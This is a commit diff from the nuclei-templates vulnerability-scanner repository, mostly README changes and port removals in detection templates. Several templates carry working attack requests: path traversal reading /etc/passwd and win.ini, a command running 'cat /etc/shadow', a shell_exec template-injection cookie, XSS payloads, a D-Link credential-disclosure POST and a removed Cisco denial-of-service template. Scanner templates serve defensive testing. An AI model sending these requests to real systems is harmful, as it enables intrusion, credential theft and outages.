Update CVE-2020-5410.yaml

BaseURL updates
Auto Update README [Thu Jan 14 14:11:28 UTC 2021] 🤖
2026-11-07 08:36:19 -10:00 · 2021-01-14 20:21:36 +05:30 · 2021-01-14 20:11:56 +05:30 · 2021-01-14 14:11:28 +00:00 · 2021-01-14 19:40:22 +05:30 · 2021-01-14 06:57:45 +00:00
74 changed files with 158 additions and 209 deletions
@@ -9,10 +9,22 @@ f"""

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+# Resources

-### Nuclei templates `{version}` overview
------
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)
+
+### Nuclei templates overview
+-----
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+
+**Directory structure of nuclei templates:**

 | Templates       | Counts                          | Templates        | Counts                         |
 | --------------- | ------------------------------- | ---------------- | ------------------------------ |
@@ -25,8 +37,7 @@ An overview of the nuclei template directory including number of templates and H
 | vulnerabilities | {countTpl("vulnerabilities/*")} | workflows        | {countTpl("workflows")}        |


-### Nuclei templates `{version}` tree overview
-----
+**Tree structure of nuclei templates:**

 <details>
 <summary> Nuclei templates </summary>
@@ -49,6 +60,11 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation

 Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.

+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
 👨‍💻 Community
 -----

@@ -12,11 +12,10 @@
 # More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion

 .pre-commit-config.yaml
-cves/CVE-2017-7529.yaml
-cves/CVE-2020-13379.yaml
-cves/CVE-2013-2251.yaml
-cves/CVE-2020-16139.yaml
-vulnerabilities/x-forwarded-host-injection.yaml
+cves/2013/CVE-2013-2251.yaml
+cves/2017/CVE-2017-7529.yaml	
+cves/2020/CVE-2020-13379.yaml	
+cves/2020/CVE-2020-16139.yaml

 # Fuzzing is excluded to avoid running bruteforce on every server as default.
 fuzzing/
@@ -26,4 +25,15 @@ helpers/
 miscellaneous/

 # Workflows are excluded from default run to avoid duplicate scans.
-workflows/
+workflows/
+
+# Adding older folder to avoid possilbe issue with nuclei ignore execution.
+misc/
+default-credentials/
+files/
+generic-detections/
+panels/
+payloads/
+security-misconfiguration/
+subdomain-takeover/
+tokens/
@@ -9,24 +9,35 @@

 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.

-An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+# Resources

-### Nuclei templates `v7.3.7` overview
------
+- [Templates](#nuclei-templates-overview)
+- [Documentation](#-documentation)
+- [Contributions](#-contributions)
+- [Discussion](#-discussion)
+- [Community](#-community)
+- [Notes](#-notes)
+
+### Nuclei templates overview
+-----
+
+An overview of the nuclei template directory including number of templates associated with each directory. 
+
+
+**Directory structure of nuclei templates:**

 | Templates       | Counts                          | Templates        | Counts                         |
 | --------------- | ------------------------------- | ---------------- | ------------------------------ |
 | cves            | 154            | default-logins   | 8 |
-| dns             | 6               | exposed-panels   | 72   |
-| exposed-tokens  | 9  | exposures        | 41      |
+| dns             | 6               | exposed-panels   | 73   |
+| exposed-tokens  | 9  | exposures        | 40      |
 | fuzzing         | 5           | helpers          | 3        |
 | miscellaneous   | 14     | misconfiguration | 37 |
-| takeovers       | 1         | technologies     | 44     |
-| vulnerabilities | 62 | workflows        | 17        |
+| takeovers       | 1         | technologies     | 43     |
+| vulnerabilities | 62 | workflows        | 16        |


-### Nuclei templates `v7.3.7` tree overview
-----
+**Tree structure of nuclei templates:**

 <details>
 <summary> Nuclei templates </summary>
@@ -153,7 +164,6 @@ An overview of the nuclei template directory including number of templates and H
 │       ├── CVE-2020-15129.yaml
 │       ├── CVE-2020-15505.yaml
 │       ├── CVE-2020-15920.yaml
-│       ├── CVE-2020-16139.yaml
 │       ├── CVE-2020-16846.yaml
 │       ├── CVE-2020-16952.yaml
 │       ├── CVE-2020-17505.yaml
@@ -194,6 +204,7 @@ An overview of the nuclei template directory including number of templates and H
 │       ├── CVE-2020-8982.yaml
 │       ├── CVE-2020-9047.yaml
 │       ├── CVE-2020-9344.yaml
+│       ├── CVE-2020-9376.yaml
 │       ├── CVE-2020-9484.yaml
 │       ├── CVE-2020-9496.yaml
 │       └── CVE-2020-9757.yaml
@@ -266,7 +277,8 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
-│   ├── public-tomcat-instance.yaml
+│   ├── prometheus-exporter-detect.yaml
+│   ├── public-tomcat-manager.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
 │   ├── rocketmq-console-exposure.yaml
@@ -322,7 +334,6 @@ An overview of the nuclei template directory including number of templates and H
 │   │   ├── amazon-docker-config-disclosure.yaml
 │   │   ├── ansible-config-disclosure.yaml
 │   │   ├── composer-config.yaml
-│   │   ├── exposed-alps-spring.yaml
 │   │   ├── exposed-svn.yaml
 │   │   ├── git-config-nginxoffbyslash.yaml
 │   │   ├── git-config.yaml
@@ -450,7 +461,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
-│   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── prtg-detect.yaml
 │   ├── redmine-cli-detect.yaml
@@ -523,7 +533,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── springboot
 │   │   ├── springboot-actuators-jolokia-xxe.yaml
 │   │   └── springboot-h2-db-rce.yaml
-│   ├── thinkific-redirect.yaml
 │   ├── vmware
 │   │   ├── vmware-vcenter-lfi-linux.yaml
 │   │   └── vmware-vcenter-lfi.yaml
@@ -545,7 +554,6 @@ An overview of the nuclei template directory including number of templates and H
 │       └── wordpress-wpcourses-info-disclosure.yaml
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── basic-auth-workflow.yaml
    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
@@ -565,7 +573,7 @@ An overview of the nuclei template directory including number of templates and H

 </details>

-**53 directories, 476 files**.
+**53 directories, 473 files**.

 📖 Documentation
 -----
@@ -577,6 +585,11 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation

 Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.

+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
 👨‍💻 Community
 -----

@@ -9,7 +9,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/cgi-bin/status"
      - "{{BaseURL}}/cgi-bin/stats"
      - "{{BaseURL}}/cgi-bin/test"
@@ -11,7 +11,6 @@ requests:
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -24,7 +24,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
-      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
-      - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
    matchers-condition: and
    matchers:
      - type: word
@@ -18,7 +18,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/_async/AsyncResponseService"
-      - "{{BaseURL}}:7001/_async/AsyncResponseService"
    body: >-
      <?xml version="1.0" encoding="UTF-8" ?>
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
@@ -19,7 +19,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
-      - "{{BaseURL}}:5601/api/timelion/run"
    headers:
      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
      Content-Type: "application/json; charset=utf-8"
@@ -19,7 +19,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/context.json"
-      - "{{BaseURL}}:8181/context.json"
    headers:
      Content-Type: application/json
    body: |
@@ -13,7 +13,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}"
-      - "{{BaseURL}}:8081"
    headers:
      X-Forwarded-Prefix: "https://foo.nl"
    matchers-condition: and
@@ -1,28 +0,0 @@
-id: CVE-2020-16139
-
-info:
-  name: Cisco 7937G Denial-of-Service Reboot Attack
-  author: pikpikcu
-  severity: low
-
-# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
-
-requests:
-  - raw:
-      - |
-        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
-        Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        part: header
-        words:
-          - "application/xml"
-      - type: word
-        words:
-          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
@@ -18,7 +18,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/run"
-      - "{{BaseURL}}:8000/run"
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
@@ -15,7 +15,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers-condition: and
    matchers:
      - type: regex
@@ -24,7 +24,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/console/login/LoginForm.jsp"
-      - "{{BaseURL}}:7001/console/login/LoginForm.jsp"
    matchers-condition: and
    matchers:
      - type: word
@@ -8,8 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
-      - "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
+      - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
    matchers-condition: and
    matchers:
      - type: status
@@ -13,7 +13,6 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
-      - '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,35 @@
+id: CVE-2020-9376
+
+info:
+  name: D-Link Information Disclosure via getcfg.php
+  author: whynotke
+  severity: high
+  description: |
+    D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php.
+    NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
+
+    References:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-9376
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/getcfg.php"
+
+    body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<name>Admin</name>"
+          - "</usrid>"
+          - "</password>"
+        condition: and
+        part: body
@@ -12,7 +12,6 @@ requests:
      Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
    path:
      - "{{BaseURL}}/index.jsp"
-      - "{{BaseURL}}:8080/index.jsp"
    matchers-condition: and
    matchers:
      - type: status
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/whoami"
-      - "{{BaseURL}}:15672/api/whoami"
    headers:
      Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
    matchers-condition: and
@@ -16,7 +16,7 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
-      - "{{BaseURL}}:17778/SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS"
+
    headers:
      Authorization: "Basic YWRtaW46"
    matchers-condition: and
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
      - '{{BaseURL}}/admin/'
    matchers:
      - type: word
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
@@ -10,7 +10,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers-condition: and
@@ -1,15 +1,15 @@
-id: public-tomcat-instance
+id: public-tomcat-manager

 info:
  name: tomcat manager disclosure
-  author: Ahmed Sherif
+  author: Ahmed Sherif & geeknik
  severity: info

 requests:
  - method: GET
    path:
      - '{{BaseURL}}/manager/html'
-      - '{{BaseURL}}:8080/manager/html'
+
    matchers-condition: and
    matchers:
      - type: word
@@ -18,3 +18,5 @@ requests:
      - type: status
        status:
          - 401
+          - 200
+        condition: or
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}'
-      - "{{BaseURL}}:15672"
    matchers:
      - type: word
        words:
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/sap/hana/xs/formLogin/login.html"
-      - "{{BaseURL}}:8000/sap/hana/xs/formLogin/login.html"
    redirects: true
    matchers:
      - type: word
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard/"
-      - "{{BaseURL}}:8080/dashboard/"
    matchers:
      - type: word
        words:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/webmin/"
    redirects: true
    matchers:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/zipkin/"
    matchers:
      - type: word
@@ -13,7 +13,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    extractors:
      - type: regex
@@ -28,7 +28,7 @@ requests:
        part: body
  - method: OPTIONS
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/api/v1"
      - "{{BaseURL}}/api/v2"
    matchers:
@@ -1,30 +0,0 @@
-id: exposed-alps-spring
-
-info:
-  name: Exposed Spring Data REST Application-Level Profile Semantics (ALPS)
-  author: dwisiswant0
-  severity: medium
-  reference: https://niemand.com.ar/2021/01/08/exploiting-application-level-profile-semantics-apls-from-spring-data-rest/
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/profile"
-      - "{{BaseURL}}/api/profile"
-      - "{{BaseURL}}/alps/profile"
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "_links"
-          - "/alps/"
-          - "profile"
-        condition: and
-        part: body
-      - type: word
-        words:
-          - "application/hal+json"
-        part: header
-      - type: status
-        status:
-          - 200
@@ -8,7 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    matchers:
      - type: word
        words:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
@@ -11,7 +11,7 @@ info:
 requests:
  - method: TRACE
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    matchers:
      - type: word
@@ -22,7 +22,7 @@ requests:

  - method: OPTIONS
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    matchers:
      - type: regex
@@ -9,7 +9,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
+
    redirects: false
    matchers-condition: and
    matchers:
@@ -9,12 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}"
-      - "{{BaseURL}}:8000"
-      - "{{BaseURL}}:8080"
-      - "{{BaseURL}}:8001"
-      - "{{BaseURL}}:9080"
-      - "{{BaseURL}}:8443"
-      - "{{BaseURL}}:8060"

    matchers-condition: and
    matchers:
@@ -9,9 +9,7 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/_cat/indices?v'
-      - '{{BaseURL}}:9200/_cat/indices?v'
      - '{{BaseURL}}/_all/_search'
-      - '{{BaseURL}}:9200/_all/_search'

    matchers-condition: and
    matchers:
@@ -8,10 +8,8 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
-      - '{{BaseURL}}:5601/'
+      - '{{BaseURL}}'
      - '{{BaseURL}}/app/kibana/'
-      - '{{BaseURL}}:5601/app/kibana/'

    matchers-condition: and
    matchers:
@@ -12,7 +12,6 @@ requests:
    path:
      - '{{BaseURL}}/pods'
      - '{{BaseURL}}/api/v1/pods'
-      - '{{BaseURL}}:10250/pods'
    matchers-condition: and
    matchers:
      - type: word
@@ -23,7 +23,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    headers:
      l5d-dtab: /svc/* => /$/inet/example.com/443

@@ -10,8 +10,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/ADSearch.cc?methodToCall=search"
-      - "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
-      - "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"

    matchers-condition: and
    matchers:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    matchers:
      - type: word
@@ -60,8 +60,6 @@ requests:
      - "{{BaseURL}}/hystrix.stream"
      - "{{BaseURL}}/jolokia"
      - "{{BaseURL}}/jolokia/list"
-      - "{{BaseURL}}:8090/jolokia"
-      - "{{BaseURL}}:8090/jolokia/list"
      - "{{BaseURL}}/loggers"
      - "{{BaseURL}}/management"
      - "{{BaseURL}}/mappings"
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - '{{BaseURL}}/'
+      - '{{BaseURL}}'
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers-condition: and
@@ -9,11 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/admin/"
-      - "{{BaseURL}}:8080/admin/"
-      - "{{BaseURL}}:8000/admin/"
-      - "{{BaseURL}}:9000/admin/"
-      - "{{BaseURL}}:9090/admin/"
-      - "{{BaseURL}}:3000/admin/"

    matchers-condition: and
    matchers:
@@ -15,7 +15,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers-condition: or

    matchers:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/cacti/"

    matchers-condition: and
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
@@ -8,8 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}:8123/"
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/jolokia/version'
-      - '{{BaseURL}}:8080/jolokia/version'
    matchers-condition: and
    matchers:
      - type: word
@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
@@ -9,9 +9,7 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/api/jsonws'
-      - '{{BaseURL}}:8080/api/jsonws'
      - '{{BaseURL}}/api/jsonws/invoke'
-      - '{{BaseURL}}:8080/api/jsonws/invoke'
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
@@ -14,7 +14,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    headers:
      l5d-dtab: /svc/*

@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/mrtg/"
      - "{{BaseURL}}/MRTG/"

@@ -8,7 +8,6 @@ requests:
  - method: GET
    path:
      - '{{BaseURL}}/graph'
-      - '{{BaseURL}}:9090/graph'
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
@@ -6,7 +6,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"

    redirects: true
    max-redirects: 2
@@ -9,7 +9,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/console/login/LoginForm.jsp"
-      - "{{BaseURL}}:7001/console/login/LoginForm.jsp"

    matchers:
      - type: word
@@ -9,7 +9,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
    headers:
      Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
    matchers-condition: and
@@ -9,7 +9,6 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
      - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
    matchers-condition: and
    matchers:
@@ -1,22 +0,0 @@
-id: thinkific-redirect
-
-info:
-  name: Thinkific Open URL Redirect
-  author: Gal Nagli
-  severity: low
-
-requests:
-  - method: GET
-
-    path:
-      - "{{BaseURL}}/api/sso/v2/sso/jwt?error_url=http://example.com"
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 302
-      - type: word
-        words:
-          - "<a href=\"http://example.com?kind=jwt&amp;message=Nil+JSON+web+token\""
-        part: body
@@ -1,16 +0,0 @@
-id: basic-auth-workflow
-
-info:
-  name: Basic auth Security Checks
-  author: w4cky_
-  description: A simple workflow that runs all Basic auth related nuclei templates on a given target.
-
-  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
-  # Old workflows still remains valid, and will be working with all nuclei versions.
-
-workflows:
-
-  - template: technologies/basic-auth-detection.yaml
-
-    subtemplates:
-      - template: fuzzing/basic-auth-bruteforce.yaml
Author	SHA1	Message	Date
PD-Team	8d647ffbad	Update CVE-2020-5410.yaml	2021-01-14 20:21:36 +05:30
PD-Team	dc24595935	BaseURL updates	2021-01-14 20:11:56 +05:30
GitHub Action	f8114097a2	Auto Update README [Thu Jan 14 14:11:28 UTC 2021] 🤖	2021-01-14 14:11:28 +00:00
PD-Team	631a135ea5	Delete basic-auth-workflow.yaml	2021-01-14 19:40:22 +05:30
GitHub Action	29c1b3422d	Auto Update README [Thu Jan 14 06:57:45 UTC 2021] 🤖	2021-01-14 06:57:45 +00:00
PD-Team	9234a6801f	moving files around	2021-01-14 12:27:13 +05:30
GitHub Action	e39a230a18	Auto Update README [Thu Jan 14 06:00:54 UTC 2021] 🤖	2021-01-14 06:00:54 +00:00
PD-Team	0d92c9e39f	Merge pull request #756 from geeknik/patch-35 Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml	2021-01-14 11:30:30 +05:30
Geeknik Labs	066e3813be	Update and rename public-tomcat-instance.yaml to public-tomcat-manager.yaml Updating the name to better reflect what we're looking for. Updating the status matcher since some Tomcat manager instances don't require auth.	2021-01-13 17:28:48 -06:00
GitHub Action	4fd46aabd3	Auto Update README [Wed Jan 13 12:49:25 UTC 2021] 🤖	2021-01-13 12:49:25 +00:00
PD-Team	a9204500ae	Merge pull request #750 from michenriksen/master Introduce risky-cves/ root folder to prevent accidental activation of harmful CVE checks	2021-01-13 18:18:58 +05:30
PD-Team	3cb3ac6bcb	Update .nuclei-ignore	2021-01-13 18:13:00 +05:30
PD-Team	b5b9eeb6bd	Removing CVE-2020-16139 temporarily	2021-01-13 18:11:48 +05:30
PD-Team	8352228bc6	adding to avoid older structured folders.	2021-01-13 17:54:27 +05:30
